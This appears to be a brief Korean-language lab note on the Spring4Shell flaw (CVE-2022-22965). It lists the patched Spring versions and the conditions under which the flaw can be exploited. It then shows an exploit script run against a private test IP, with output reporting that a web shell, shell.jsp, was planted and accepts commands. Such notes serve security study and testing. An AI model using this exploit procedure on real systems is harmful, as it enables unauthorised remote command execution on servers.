
Spring4Shell
Spring Framework 5.3.18 및 5.2.20
Spring Boot 2.6.6 및 2.5.12
Spring Core는 Spring Framework의 핵심 구성 요소입니다. Spring MVC, Spring Boot, Spring WebFlux와 같은 Spring Framework 생태계의 다른 구성 요소를 구축하기 위한 기반입니다. 익스플로잇 코드는 다음 조건에서 실행될 수 있습니다:
JDK 9 이상
Apache Tomcat이 서블릿 컨테이너로 실행 중
WAR 패키징
패키지 의존성: spring-webmvc 또는 spring-webflux
애플리케이션이 기본 설정대로 Spring Boot 실행 가능한 jar 파일로 배포된 경우 이 보안 결함의 영향을 받지 않습니다.
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id